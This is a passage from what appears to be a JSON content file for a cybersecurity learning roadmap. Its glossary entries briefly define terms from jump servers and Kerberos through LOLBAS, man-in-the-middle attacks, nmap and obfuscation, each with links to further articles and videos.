    "content": "# Jump Server\n\nA **jump server**, also known as a **bastion host** or **jump host**, is a critical security component in many network architectures. It is a dedicated, locked-down, and secure server that sits within a protected network, and provides a controlled access point for users and administrators to access specific components within the system. This intermediate server acts as a bridge between untrusted networks and the internal privileged systems, thereby reducing the attack surface and securing the environment.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Jump Server?](https://www.ssh.com/academy/iam/jump-server)\n- [@video@What is a Bastion Host and Why is it so important?](https://www.youtube.com/watch?v=pI6glWVEkcY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/kali-linux@w6wXkoLrv0_d-Ah0txUHd.md",
    "content": "# Kali Linux\n\nKali Linux is a specialized Linux distribution that is designed for penetration testing, security auditing, and related information security tasks. Originating from the Debian distribution, Kali Linux is equipped with a vast array of tools that are used for ethical hacking purposes. It is an open-source project that provides users with the means to test the security of systems and networks by simulating attacks in a controlled environment.\n\nVisit the following resources to learn more:\n\n- [@official@Kali Linux](https://www.kali.org/)\n- [@official@Kali Tools](https://www.kali.org/tools)\n- [@official@Kali Docs](https://www.kali.org/docs/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/kerberos@lG6afUOx3jSQFxbH92otL.md",
    "content": "# Kerberos\n\nKerberos is a network authentication protocol designed to provide strong authentication for client/server applications. It was developed by MIT in the 1980s and is named after the three-headed dog from Greek mythology that guarded the gates of Hades, symbolizing the protocol's aim to provide secure authentication in a potentially hostile network environment.\n\nVisit the following resources to learn more:\n\n- [@article@What is Kerberos?](https://www.fortinet.com/resources/cyberglossary/kerberos-authentication)\n- [@video@Kerberos Authentication Explained](https://www.youtube.com/watch?v=5N242XcKAsM)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/key-exchange@rmR6HJqEhHDgX55Xy5BAW.md",
    "content": "# Key Exchange\n\nKey exchange refers to the processes and protocols used to securely share cryptographic keys between parties. This allows them to then use those keys for encrypting and decrypting messages, ensuring confidentiality and integrity of their communication. Without a secure method for sharing keys, the strength of any encryption algorithm is compromised, as an attacker could simply intercept the key and decrypt the messages.\n\nVisit the following resources to learn more:\n\n- [@article@Key Exchange](https://nordvpn.com/cybersecurity/glossary/key-exchange/?srsltid=AfmBOoocoykou-7M3OHUQq7APIsGDVjOR8P6wIcIvNA2fgOt1620RZwG)\n- [@video@Secret Key Exchange](https://www.youtube.com/watch?v=NmM9HA2MQGI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/kill-chain@7Bmp4x6gbvWMuVDdGRUGj.md",
    "content": "# Kill Chain\n\nThe Kill Chain is a framework that breaks down a cyberattack into distinct stages, from initial reconnaissance to achieving the attacker's objective. It provides a structured approach to understanding and disrupting malicious activity by identifying specific points where security controls can be implemented to interrupt the attack sequence. It allows defenders to understand the attackers process so they can counter it.\n\nVisit the following resources to learn more:\n\n- [@official@Cyber Kill Chain](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)\n- [@video@Learn the Cyber Kill Chain](https://www.youtube.com/watch?v=oCUrkc_0tmw)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/known-vs-unknown@HPlPGKs7NLqmBidHJkOZg.md",
    "content": "# Known vs. Unknown Threats\n\nKnown threats are security risks that have been previously identified, analyzed, and documented, often with established signatures or patterns. Unknown threats, on the other hand, are novel attacks or vulnerabilities that have not been seen before and lack readily available defenses or signatures. This distinction is critical for cybersecurity professionals because it dictates the strategies and tools used for detection and mitigation.\n\nVisit the following resources to learn more:\n\n- [@article@From Known to Unknown](https://securitysandman.com/2025/01/06/from-known-to-unknown-shifting-cybersecurity-to-proactive-ai-detection/)\n- [@article@Catching all Threats - Known, Unknown, and Unknown Unknown](https://www.scworld.com/perspective/catching-all-threats-known-unknown-and-unknown-unknown-before-they-can-harm-you)\n- [@video@Detecting known threats](https://www.youtube.com/watch?v=hOaHDVMQ9_s)\n- [@video@How to deal with unknown threats](https://www.youtube.com/watch?v=CH4tX_MVLh0)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/lan@xWxusBtMEWnd-6n7oqjHz.md",
    "content": "# Local Area Networks (LANs)\n\nA Local Area Network (LAN) is a network that connects computers and other devices within a limited area, such as a home, school, office, or small group of buildings. It allows devices to share resources like files, printers, and internet access, enabling communication and collaboration within that confined space. LANs are typically privately owned and managed.\n\nVisit the following resources to learn more:\n\n- [@article@What is a LAN?](https://www.cisco.com/c/en_uk/products/switches/what-is-a-lan-local-area-network.html)\n- [@video@LAN vs. WAN: What's the Difference?](https://www.youtube.com/watch?v=5OoX_cRLaNM)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ldap@lV3swvD6QGLmD9iVfbKIF.md",
    "content": "# LDAP\n\nLDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate data about organizations, individuals, and other resources, such as files and devices on a network. It is a \"directory service\" that structures information in a hierarchical, tree-like structure, allowing for efficient searching and retrieval of information. Think of it like a phone book for networks, but instead of just names and numbers, it can store a wide range of information about network users and resources.\n\nVisit the following resources to learn more:\n\n- [@article@What Is LDAP & How Does It Work?](https://www.okta.com/uk/identity-101/what-is-ldap/)\n- [@video@What is LDAP](https://www.youtube.com/watch?v=vy3e6ekuqqg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ldaps@z_fDvTgKw51Uepo6eMQd9.md",
    "content": "# LDAPS\n\nLDAPS (Lightweight Directory Access Protocol Secure) is a method of securing LDAP communications by using SSL (Secure Sockets Layer) or TLS (Transport Layer Security) to encrypt the data transmitted between a client and a directory server. This encryption prevents eavesdropping and tampering with sensitive information like usernames, passwords, and other directory attributes during transit, ensuring a more secure directory service environment.\n\nVisit the following resources to learn more:\n\n- [@article@How to enable LDAPS](https://www.dell.com/support/kbdoc/en-uk/000212661/how-to-enable-secure-lightweight-directory-access-protocol-ldaps-on-an-active-directory-domain-controller)\n- [@video@LDAP vs LDAPS - Whats the difference?](https://www.youtube.com/watch?v=J2qtayKzMmA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/learn-how-malware-works-and-types@v7CD_sHqLWbm9ibXXESIK.md",
    "content": "# Malware Analysis and Types\n\nMalware, short for malicious software, refers to any program or code designed to harm, disrupt, or gain unauthorized access to computer systems, networks, or devices. This encompasses various forms like viruses that replicate themselves, worms that self-propagate across networks, Trojans disguised as legitimate software, ransomware that encrypts data for extortion, spyware that secretly monitors user activity, and adware that displays unwanted advertisements. Understanding the mechanisms and characteristics of different malware types is essential for effective detection, prevention, and mitigation of cyber threats."
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/legal@C5bCIdPi0gGkY_r4qqoXZ.md",
    "content": "# Legal Departments and Cybersecurity\n\nA legal department in a company handles all legal matters, including contracts, compliance with laws and regulations, and dealing with potential lawsuits. Regarding cybersecurity, their role involves ensuring the company follows data privacy laws, managing legal risks related to data breaches, creating policies for data handling and security, and advising on legal aspects of incident response and digital forensics. They also work with other departments to ensure that security measures are legally sound and compliant.\n\nVisit the following resources to learn more:\n\n- [@article@Key Functions of a Legal Team](https://uk.practicallaw.thomsonreuters.com/w-009-3932?transitionType=Default&contextData=(sc.Default)&firstPage=true)\n- [@article@The Legal Team’s Responsibility in Corporate Cybersecurity](https://www.trustwave.com/en-us/resources/blogs/trustwave-blog/expert-insight-the-legal-teams-responsibility-in-corporate-cybersecurity/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/lessons-learned@ErRol7AT02HTn3umsPD_0.md",
    "content": "# Lessons Learned\n\nThe final step in incident response focuses on solidifying what was gained from the experience. It starts with a post-incident review, where the team dissects the incident timeline, actions taken, and overall effectiveness. A root cause analysis identifies the underlying vulnerabilities or weaknesses that allowed the incident to occur. The findings then inform updates to existing security policies and procedures to prevent similar incidents in the future. Employee training is updated to reflect these changes and improve awareness. Finally, the entire incident, including its root cause, response actions, and lessons learned, is thoroughly documented for future reference and continuous improvement."
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/linux@4frVcjYI1VlVU9hQgpwcT.md",
    "content": "# Linux\n\nLinux is an open-source, Unix-like operating system kernel first released by Linus Torvalds in 1991. It forms the core of various operating systems known as Linux distributions. Linux is known for its stability, security, and flexibility, making it popular for servers, embedded systems, and increasingly for desktop use. It supports a wide range of hardware and offers powerful command-line interfaces alongside graphical user interfaces. Linux adheres to Unix principles, emphasizing modularity and the philosophy of \"do one thing and do it well.\" Its open-source nature allows for community-driven development and customization. Linux is widely used in cloud computing, supercomputers, and Android devices, and is a fundamental component of the LAMP (Linux, Apache, MySQL, PHP) web server stack.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Linux Roadmap](https://roadmap.sh/linux)\n- [@course@Linux from scratch - Cisco](https://www.netacad.com/courses/os-it/ndg-linux-unhatched)\n- [@article@Linux Commands Cheat Sheet](https://cdn.hostinger.com/tutorials/pdf/Linux-Commands-Cheat-Sheet.pdf)\n- [@video@Introduction to Linux](https://youtu.be/sWbUDq4S6Y8)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/local-auth@vYvFuz7lAJXZ1vK_4999a.md",
    "content": "# Local Authentication\n\nLocal authentication is the process of verifying a user's identity directly against a database or security mechanism housed on the same system or network they are trying to access. This typically involves checking credentials, like usernames and passwords, against locally stored information to grant or deny access to resources. It contrasts with methods that rely on external authentication servers or services.\n\nVisit the following resources to learn more:\n\n- [@article@Local authentication, registration, and other settings](https://learn.microsoft.com/en-us/power-pages/security/authentication/set-authentication-identity)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/localhost@0TWwox-4pSwuXojI8ixFO.md",
    "content": "# Localhost\n\nLocalhost is a hostname that refers to the current computer being used to access it. It's essentially a way for your computer to communicate with itself over a network connection. Typically, it resolves to the IP address 127.0.0.1, which is reserved for loopback addresses. This allows programs and services running on your machine to interact with each other without needing to connect to an external network.\n\nVisit the following resources to learn more:\n\n- [@article@What is localhost?](https://www.freecodecamp.org/news/what-is-localhost/)\n- [@video@What is localhost? | Explained](https://www.youtube.com/watch?v=m98GX51T5dI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/lolbas@10qbxX8DCrfyH7tgYexxQ.md",
    "content": "# LOLBAS\n\nLiving Off The Land Binaries and Scripts (LOLBAS) refers to the use of legitimate, pre-installed operating system tools and programs for malicious purposes. Instead of introducing new malware, attackers leverage these existing, trusted binaries to perform actions such as downloading files, executing code, or gathering information, often evading traditional security defenses that focus on detecting malicious software.\n\nVisit the following resources to learn more:\n\n- [@official@LOLBAS Project](https://lolbas-project.github.io/#)\n- [@article@Understanding the risks of LOLBAS in security](https://pentera.io/blog/the-lol-isnt-so-funny-when-it-bites-you-in-the-bas/)\n- [@video@LOLBAS T1105, MS Process Abuse](https://www.youtube.com/watch?v=fq2_VvAU29g)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/loopback@W_oloLu2Euz5zRSy7v_T8.md",
    "content": "# Loopback\n\nA loopback is a mechanism where network traffic is routed back to the originating device. It's essentially a shortcut for a device to talk to itself over a network. This is achieved using a special IP address (typically 127.0.0.1 for IPv4 or ::1 for IPv6) and a designated network interface (the loopback interface). The data never actually leaves the host, instead being internally redirected.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding the Loopback Address and Loopback Interfaces](https://study-ccna.com/loopback-interface-loopback-address/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/mac-based@OAukNfV5T0KTnIF9jKYRF.md",
    "content": "# Mandatory Access Control (MAC)\n\nMandatory Access Control (MAC) is a security model where the operating system enforces strict rules on access to resources. Unlike discretionary access control (DAC), where users control access to their own files, MAC uses a centralized authority to define access policies. These policies are based on labels or classifications assigned to both users and data. Access is granted only if the user's label matches or dominates the data's label, ensuring a rigid and consistent security posture.\n\nVisit the following resources to learn more:\n\n- [@article@What is Mandatory Access Control?](https://nordlayer.com/learn/access-control/mandatory-access-control/)\n- [@video@Mandatory Access Control (MAC) Models](https://www.youtube.com/watch?v=mNN-fEboRAA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/macos@dztwr-DSckggQbcNIi4_2.md",
    "content": "# MacOS\n\n**macOS** is an operating system developed by Apple Inc. for its line of Mac computers. Known for its user-friendly interface and integration with other Apple products, macOS features a Unix-based architecture, offering stability, security, and performance. It includes a suite of built-in applications, such as Safari, Mail, and Finder, and supports a wide range of third-party software. macOS provides seamless integration with services like iCloud, Continuity, and Handoff, enhancing productivity and connectivity across Apple devices. Regular updates and a focus on design and usability make macOS a popular choice for both personal and professional use.\n\nVisit the following resources to learn more:\n\n- [@official@macOS](https://www.apple.com/macos/macos-sequoia/)\n- [@video@Mac Tutorial for Beginners 2024](https://www.youtube.com/watch?v=3jeeFc2Vo1U)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/man@LrwTMH_1fTd8iB9wJg-0t.md",
    "content": "# Metropolitan Area Network (MAN)\n\nA Metropolitan Area Network (MAN) is a computer network that connects computers and other devices within a geographical area larger than a local area network (LAN) but smaller than a wide area network (WAN). It's essentially a scaled-up version of a LAN, designed to serve a city or metropolitan area. MANs are often used to connect multiple LANs together, allowing devices in different locations to communicate with each other.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Metropolitan Area Network?](https://www.cloudflare.com/en-gb/learning/network-layer/what-is-a-metropolitan-area-network/)\n- [@video@Network Types: MAN](https://youtu.be/4_zSIXb7tLQ?si=1jTQ5C9PT4WUOztP&t=183)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/management@s9tHpzYRj2HCImwQhnjFM.md",
    "content": "# Management\n\nManagement departments within companies are generally responsible for planning, organizing, and directing the operations of an organization to achieve its goals. Their role in cybersecurity involves setting security policies, allocating resources for security initiatives, and ensuring compliance with relevant regulations. They also play a key role in risk management, incident response planning, and overall security awareness training for employees.\n\nVisit the following resources to learn more:\n\n- [@article@Who Holds the Ultimate Responsibility for Cyber Security?](https://resolutionit.com/news/who-holds-the-ultimate-responsibility-for-cyber-security/)\n- [@article@Cybersecurity – a responsibility of top management](https://www.valmet.com/insights/articles/experts-voice/cybersecurity--a-responsibility-of-top-management/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/memdump@wspNQPmqWRjKoFm6x_bVw.md",
    "content": "# memdump\n\n**memdump** is a tool or process used to capture the contents of a computer's physical memory (RAM) for analysis. This \"memory dump\" can be useful in digital forensics, debugging, or incident response to identify active processes, open files, network connections, or potentially malicious code running in memory. By analyzing a memory dump, security professionals can investigate malware, recover encryption keys, or gather evidence in case of a breach. Tools like `memdump` (Linux utility) or `DumpIt` (Windows) are commonly used to perform this process.\n\nVisit the following resources to learn more:\n\n- [@official@memdump](https://www.kali.org/tools/memdump/)\n- [@opensource@memdump - GitHub](https://github.com/tchebb/memdump)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/memory-leak@nOND14t7ISgSH3zNpV3F8.md",
    "content": "# Memory Leak\n\nA Memory Leak occurs when a computer program consumes memory but fails to release it back to the operating system after it is no longer needed. Over time, this can lead to reduced system performance, increased memory usage, and, in severe cases, the program or system may crash due to the exhaustion of available memory.\n\nVisit the following resources to learn more:\n\n- [@article@What are memory leaks?](https://learn.snyk.io/lesson/memory-leaks/)\n- [@video@What are memory leaks?](https://www.youtube.com/watch?v=00Kdpgl6fsY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/mesh@PYeF15e7iVB9seFrrO7W6.md",
    "content": "# Mesh Network Topology\n\nA mesh network topology is a network setup where devices are interconnected with each other through multiple redundant paths. Unlike traditional networks where devices are connected to a central node, in a mesh network, each node can act as a router and forward data to other nodes. This creates a web-like structure, increasing reliability and resilience because if one connection fails, data can be rerouted through alternative paths.\n\nVisit the following resources to learn more:\n\n- [@article@What is Mesh Topology?](https://www.lenovo.com/gb/en/glossary/mesh-topology)\n- [@article@Mesh Topology explained](https://www.computerhope.com/jargon/m/mesh.htm)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/mfa--2fa@pnfVrOjDeG1uYAeqHxhJP.md",
    "content": "# Multi-Factor Authentication (MFA) and Two-Factor Authentication (2FA)\n\nMulti-factor authentication (MFA) is an authentication method that requires the user to present multiple pieces of evidence (factors) to verify their identity. Two-factor authentication (2FA) is a specific type of MFA that uses only two factors. These factors typically fall into categories like something you know (password), something you have (security token or code sent to your phone), or something you are (biometrics).\n\nVisit the following resources to learn more:\n\n- [@article@What is MFA?](https://www.onelogin.com/learn/what-is-mfa)\n- [@article@What is 2FA?](https://www.microsoft.com/en-gb/security/business/security-101/what-is-two-factor-authentication-2fa)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/mitm@ODlVT6MhV-RVUbRMG0mHi.md",
    "content": "# Man-in-the-middle attack\n\nA Man-in-the-Middle (MITM) attack occurs when a malicious actor intercepts communication between two parties, such as a user and a website, without their knowledge. The attacker can eavesdrop, alter, or inject false information into the communication, often to steal sensitive data like login credentials or manipulate transactions. MITM attacks are commonly executed through compromised Wi-Fi networks or by exploiting security vulnerabilities in protocols.\n\nVisit the following resources to learn more:\n\n- [@article@Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ms-office-suite@-5haJATqlmj0SFSFAqN6A.md",
    "content": "# Microsoft Office Suite\n\nThe **Microsoft Office Suite** is a collection of productivity software developed by Microsoft, commonly used in both personal and professional settings. It includes core applications such as **Word** (word processing), **Excel** (spreadsheets), **PowerPoint** (presentations), and **Outlook** (email and calendar). Other applications in the suite may include **Access** (database management), **OneNote** (note-taking), and **Teams** (collaboration and communication). The suite offers integrated tools for creating, managing, and sharing documents, data, and communications, supporting a wide range of business and personal productivity tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Microsoft Office Suite Directory](https://www.microsoft.com/en-gb/microsoft-365/products-apps-services)\n- [@video@Every Office 365 App Explained](https://www.youtube.com/watch?v=2W0T2qGZ9Dc)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/nac-based@6oAzYfwsHQYNVbi7c2Tly.md",
    "content": "# NAC-based\n\nNetwork Access Control (NAC) based hardening is a crucial component in enhancing the security of your network infrastructure. NAC provides organizations with the ability to control and manage access to the network resources, ensuring that only authorized users and devices can connect to the network. It plays a vital role in reducing the attack surface and preventing unauthorized access to sensitive data and resources. By implementing NAC-based hardening in your cybersecurity strategy, you protect your organization from threats and maintain secure access to critical resources.\n\nVisit the following resources to learn more:\n\n- [@article@What is Network Access Control](https://www.fortinet.com/resources/cyberglossary/what-is-network-access-control)\n- [@video@Network Access Control](https://www.youtube.com/watch?v=hXeFJ05J4pQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/nat@Kkd3f_0OYNCdpDgrJ-_Ju.md",
    "content": "# NAT\n\n**Network Address Translation (NAT)** is a method used to modify IP address information in packet headers while they are in transit across a network. NAT allows multiple devices on a private network to share a single public IP address for accessing external resources, helping conserve the limited number of available public IP addresses. It also enhances security by hiding internal IP addresses from the public internet. Common types of NAT include **Static NAT** (one-to-one mapping), **Dynamic NAT** (many-to-many mapping), and **Port Address Translation (PAT)** or **NAT overload** (many-to-one mapping, commonly used in home routers).\n\nVisit the following resources to learn more:\n\n- [@article@What Is Network Address Translation (NAT)?](https://www.cisco.com/site/us/en/learn/topics/networking/what-is-network-address-translation-nat.html)\n- [@video@NAT explained](https://www.youtube.com/watch?v=FTUV0t6JaDA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/navigating-using-gui-and-cli@MGitS_eJBoY99zOR-W3F4.md",
    "content": "# GUI vs. CLI Navigation\n\nNavigating an operating system can be done in two primary ways: using a Graphical User Interface (GUI) or a Command Line Interface (CLI). A GUI presents visual elements like windows, icons, and menus that you interact with using a mouse or touch. Conversely, a CLI relies on text-based commands that you type into a terminal or console to instruct the system to perform specific actions."
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/netflow@xXz-SwvXA2cLfdCd-hLtW.md",
    "content": "# NetFlow\n\n**NetFlow** is a network protocol developed by Cisco for collecting and analyzing network traffic data. It provides detailed information about network flows, including the source and destination IP addresses, ports, and the amount of data transferred. NetFlow data helps network administrators monitor traffic patterns, assess network performance, and identify potential security threats. By analyzing flow data, organizations can gain insights into bandwidth usage, detect anomalies, and optimize network resources. NetFlow is widely supported across various network devices and often integrated with network management and security tools for enhanced visibility and control.\n\nVisit the following resources to learn more:\n\n- [@official@Cisco NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html)\n- [@video@What is NetFlow?](https://www.youtube.com/watch?v=aqTpUmUibB8)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/netstat@2M3PRbGzo14agbEPe32ww.md",
    "content": "# netstat\n\n**netstat** (network statistics) is a command-line tool used to display network connections, routing tables, and network interface statistics. It provides information about active TCP and UDP connections, listening ports, and the status of network interfaces. By using **netstat**, users can monitor network activity, diagnose connectivity issues, and identify open ports and services running on a system. The tool is available on various operating systems, including Windows, macOS, and Linux, and is often employed for network troubleshooting and security assessments.\n\nVisit the following resources to learn more:\n\n- [@article@netstat command](https://docs.oracle.com/cd/E19504-01/802-5753/6i9g71m3i/index.html)\n- [@video@netstat Command Explained](https://www.youtube.com/watch?v=8UZFpCQeXnM)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/networking-knowledge@gSLr-Lc119eX9Ig-kDzJ2.md",
    "content": "# Networking Knowledge\n\nNetworking, in its simplest form, is how devices connect and communicate with each other. It involves understanding concepts like IP addresses, protocols (like TCP/IP and HTTP), network topologies (such as star or mesh), and devices that facilitate communication, like routers, switches, and firewalls. Understanding how data packets are routed, how network security protocols work, and how different network architectures function is crucial for any professional working to protect computer systems and data.\n\nVisit the following resources to learn more:\n\n- [@article@What are Network Protocols?](https://www.solarwinds.com/resources/it-glossary/network-protocols)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/nfc@hwAUFLYpc_ftCfXq95dey.md",
    "content": "# NFC\n\n**Near Field Communication (NFC)** is a short-range wireless technology that allows devices to communicate and exchange data over very short distances, typically up to 4 inches (10 cm). NFC is commonly used for applications such as contactless payments, electronic ticketing, and data transfer between devices. It operates at a frequency of 13.56 MHz and supports various modes, including peer-to-peer communication, card emulation, and reader/writer modes. NFC enables quick and secure interactions with minimal setup, making it convenient for mobile payments, access control, and sharing information.\n\nVisit the following resources to learn more:\n\n- [@article@The Beginner's Guide to NFCs](https://www.spiceworks.com/tech/networking/articles/what-is-near-field-communication/)\n- [@article@NFC Guide: All You Need to Know About Near Field Communication](https://squareup.com/us/en/the-bottom-line/managing-your-finances/nfc)\n- [@video@NFC Explained: What is NFC? How NFC Works? Applications of NFC](https://youtu.be/eWPtt2hLnJk)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/nids@LIPtxl_oKZRcbvXT4EdNf.md",
    "content": "# Network Intrusion Detection System (NIDS)\n\nA Network Intrusion Detection System (NIDS) is a security solution designed to monitor and analyze network traffic for signs of suspicious activity or potential threats. NIDS operates by inspecting the data packets that flow through a network, looking for patterns that match known attack signatures or anomalies that could indicate malicious behavior. Unlike a Host Intrusion Detection System (HIDS), which focuses on individual host devices, NIDS provides a broader view by monitoring network traffic across multiple systems and devices.\n\nVisit the following resources to learn more:\n\n- [@article@What is an Intrusion Detection System?](https://www.paloaltonetworks.com/cyberpedia/what-is-an-intrusion-detection-system-ids)\n- [@article@What is a Network Intrusion Detection system (NIDS)?](https://bunny.net/academy/security/what-is-network-intrusion-detection-nids/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/nips@7w9qj16OD4pUzq-ItdxeK.md",
    "content": "# NIPS\n\nA **Network Intrusion Prevention System (NIPS)** is a security technology designed to monitor, detect, and prevent malicious activities or policy violations on a network. Unlike intrusion detection systems (IDS), which only alert on potential threats, a NIPS actively blocks or mitigates suspicious traffic in real-time. It analyzes network traffic patterns, inspects packet contents, and uses predefined signatures or behavioral analysis to identify threats. By preventing attacks such as malware, unauthorized access, and denial-of-service (DoS) attacks, a NIPS helps protect network integrity and maintain secure operations.\n\nVisit the following resources to learn more:\n\n- [@article@What is an Intrusion Prevention System?](https://www.paloaltonetworks.co.uk/cyberpedia/what-is-an-intrusion-prevention-system-ips)\n- [@video@Intrusion Prevention - SY0-601 CompTIA Security+](https://www.youtube.com/watch?v=WPPSsFnWOYg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/nist@SOkJUTd1NUKSwYMIprv4m.md",
    "content": "# NIST\n\nThe National Institute of Standards and Technology (NIST) is a non-regulatory agency of the U.S. Department of Commerce. Its mission is to promote U.S. innovation and industrial competitiveness by advancing measurement science, standards, and technology in ways that enhance economic security and improve our quality of life. NIST develops and maintains a wide range of standards, guidelines, and frameworks that are used by organizations to improve their cybersecurity posture and manage risk. These resources provide a common language and set of best practices that can be adopted across different industries and sectors.\n\nVisit the following resources to learn more:\n\n- [@official@NIST](https://www.nist.gov/)\n- [@article@What is NIST?](https://www.encryptionconsulting.com/education-center/nist/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/nmap@Hoou7kWyfB2wx_yFHug_H.md",
    "content": "# NMAP\n\n**Nmap** (Network Mapper) is an open-source network scanning tool used to discover hosts and services on a network, identify open ports, and detect vulnerabilities. It provides detailed information about networked devices, including their IP addresses, operating systems, and running services. Nmap supports various scanning techniques such as TCP SYN scan, UDP scan, and service version detection. It's widely used for network security assessments, vulnerability scanning, and network inventory management, helping administrators and security professionals understand and secure their network environments.\n\nVisit the following resources to learn more:\n\n- [@official@NMAP](https://nmap.org/)\n- [@article@NMAP Cheat Sheet](https://www.tutorialspoint.com/nmap-cheat-sheet)\n- [@video@Nmap Tutorial to find Network Vulnerabilities](https://www.youtube.com/watch?v=4t4kBkMsDbQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/nmap@xqwIEyGfdZFxk6QqbPswe.md",
    "content": "# NMAP\n\n**Nmap** (Network Mapper) is an open-source network scanning tool used to discover hosts and services on a network, identify open ports, and detect vulnerabilities. It provides detailed information about networked devices, including their IP addresses, operating systems, and running services. Nmap supports various scanning techniques such as TCP SYN scan, UDP scan, and service version detection. It's widely used for network security assessments, vulnerability scanning, and network inventory management, helping administrators and security professionals understand and secure their network environments.\n\nVisit the following resources to learn more:\n\n- [@official@NMAP Website](https://nmap.org/)\n- [@article@NMAP Cheat Sheet](https://www.tutorialspoint.com/nmap-cheat-sheet)\n- [@video@Nmap Tutorial to find Network Vulnerabilities](https://www.youtube.com/watch?v=4t4kBkMsDbQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/nslookup@OUarb1oS1-PX_3OXNR0rV.md",
    "content": "# nslookup\n\n**nslookup** is a network utility used to query Domain Name System (DNS) servers for information about domain names and IP addresses. It allows users to obtain details such as IP address mappings for a given domain name, reverse lookups to find domain names associated with an IP address, and DNS record types like A, MX, and CNAME records. nslookup helps troubleshoot DNS-related issues, verify DNS configurations, and analyze DNS records. It can be run from the command line in various operating systems, including Windows, macOS, and Linux.\n\nVisit the following resources to learn more:\n\n- [@article@nslookup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup)\n- [@video@What is Nslookup?](https://www.youtube.com/watch?v=n6pT8lbyhog)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/nslookup@tk4iG5i1Ml9w9KRO1tGJU.md",
    "content": "# nslookup\n\n**nslookup** is a network utility used to query Domain Name System (DNS) servers for information about domain names and IP addresses. It allows users to obtain details such as IP address mappings for a given domain name, reverse lookups to find domain names associated with an IP address, and DNS record types like A, MX, and CNAME records. nslookup helps troubleshoot DNS-related issues, verify DNS configurations, and analyze DNS records. It can be run from the command line in various operating systems, including Windows, macOS, and Linux.\n\nVisit the following resources to learn more:\n\n- [@article@nslookup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup)\n- [@video@What is Nslookup?](https://www.youtube.com/watch?v=n6pT8lbyhog)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ntp@tf0TymdPHbplDHvuVIIh4.md",
    "content": "# Network Time Protocol (NTP)\n\nNetwork Time Protocol (NTP) is a networking protocol designed to synchronize the clocks of computers over a network. It uses a hierarchical system of time servers to distribute accurate time information, enabling devices to maintain consistent and reliable timestamps. This protocol operates by exchanging time data between a client and one or more time servers to calculate the network delay and clock offset, allowing the client to adjust its clock to match the server's time.\n\nVisit the following resources to learn more:\n\n- [@article@What is NTP?](https://www.pubnub.com/learn/glossary/ntp-protocol/)\n- [@video@Network Time Protocol (NTP)](https://www.youtube.com/watch?v=BAo5C2qbLq8)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/obfuscation@kxlg6rpfqqoBfmMMg3EkJ.md",
    "content": "# Obfuscation\n\n**Obfuscation** is the practice of deliberately making data, code, or communications difficult to understand or analyze, often to protect intellectual property or enhance security. In software development, obfuscation involves transforming code into a complex or less readable form to hinder reverse engineering or unauthorized access. This technique can include renaming variables and functions to meaningless labels, or altering code structure while preserving functionality. In security contexts, obfuscation can also involve disguising malicious payloads to evade detection by antivirus or security systems.\n\nVisit the following resources to learn more:\n\n- [@article@How does Obfuscation work?](https://www.hypr.com/security-encyclopedia/obfuscation)\n- [@video@Obfuscation - CompTIA Security+](https://www.youtube.com/watch?v=LfuTMzZke4g)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/onedrive@MWqnhDKm9jXvDDjkeVNxm.md",
